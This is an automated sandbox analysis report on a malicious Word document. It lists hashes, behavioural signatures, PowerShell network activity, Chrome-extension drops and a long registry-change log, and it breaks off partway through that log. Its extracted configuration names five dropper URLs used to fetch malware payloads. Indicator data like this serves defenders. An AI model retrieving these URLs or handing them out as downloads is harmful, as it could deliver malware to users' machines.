Analysis
- max time kernel
151s - max time network
148s - platform
windows7_x64 - resource
win7v200430 - submitted
15/07/2020, 18:16
Static task
static1
Behavioral task
behavioral1
Sample
o.doc
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
o.doc
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
- Target o.doc
- Size 265KB
- Sample200715-dypnmvar12
- SHA256 48b68df90af39343a51d454a8d8ffd81095606e110985b56f5a0ef85eb2f54d8
- MD5 ea2b27de1da7eade47797476c95ae66e
- SHA1 3684cf74eef359c1bee3b3c19b7a83014a5b0dce
- SHA512 17278a437ba1b46cab62015bc2f4835f8f1bab2abb1db5a4eef3641ac65abdaa5a19df08ec808855c845e1672883fbe4108f809b941fd82f5be0415434569970
- MD5 SHA1 SHA512
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://supcargo.com/Login/K/
-
exe.dropper
http://sunucuo.com/wp-admin/0V0e/
-
exe.dropper
http://sweetestshop.ca/wp/3ca5oq/
-
exe.dropper
http://subhedarmarketing.com/2/7gtTEM8/
-
exe.dropper
http://takharandshankertour.com/wp-includes/IXR/2/
Signatures
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 524 taskmgr.exe - Drops Chrome extension 3 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8220.319.1.2_0\_metadata\computed_hashes.json chrome.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_metadata\computed_hashes.json chrome.exe File opened for modification C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp chrome.exe - Blacklisted process makes network request 6 IoCs
flow pid Process 4 1800 powersheLL.exe 5 1800 powersheLL.exe 7 1800 powersheLL.exe 9 1800 powersheLL.exe 13 1800 powersheLL.exe 14 1800 powersheLL.exe - Suspicious use of SendNotifyMessage 84 IoCs
pid Process 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 524 taskmgr.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe 1964 chrome.exe - Modifies registry class 280 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\0\win32 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\FLAGS WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\0\win32 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\HELPDIR WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\MSForms.exd" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\HELPDIR WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{61CA038A-7C7A-43AB-94C3-3E79351AC0A6}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074} WINWORD.EXE Set value (str) 